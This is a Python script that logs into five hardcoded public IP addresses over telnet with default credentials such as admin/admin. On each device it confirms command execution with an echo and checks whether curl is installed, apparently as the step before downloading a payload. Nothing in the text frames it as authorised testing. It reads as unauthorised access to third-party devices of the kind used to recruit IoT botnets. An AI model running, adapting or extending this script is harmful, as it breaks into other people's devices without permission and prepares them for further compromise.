import socket, time

devices = [['103.12.78.114', 23, 'admin', '1234'], ['103.134.156.37', 23, 'admin', 'admin'], ['101.255.158.242', 23, 'admin', 'admin'], ['103.138.60.243', 23, 'admin', 'admin'], ['103.157.104.175', 23, 'admin', 'admin']]

for ip, port, user, passwd in devices:
    print(f"Testing {ip}:{port}...")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip, port))
        time.sleep(0.3)
        data = s.recv(4096).decode(errors="ignore")
        print(f"  Recv: {repr(data[:100])}")
        
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(0.3)
            data = s.recv(4096).decode(errors="ignore")
            print(f"  After user: {repr(data[:100])}")
        
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(0.6)
            data = s.recv(4096).decode(errors="ignore")
            print(f"  After pass: {repr(data[:200])}")
        
        try:
            data = s.recv(65536).decode(errors="ignore")
            print(f"  Prompt: {repr(data[:200])}")
        except: pass
        
        # Try simple command
        s.send(b"echo VANTAOK\r\n")
        time.sleep(1)
        try:
            data = s.recv(4096).decode(errors="ignore")
            print(f"  Echo: {repr(data[:200])}")
        except: pass
        
        # Try curl
        s.send(b"which curl\r\n")
        time.sleep(1)
        try:
            data = s.recv(4096).decode(errors="ignore")
            print(f"  Which curl: {repr(data[:200])}")
        except: pass
        
        s.close()
    except Exception as e:
        print(f"  Error: {e}")
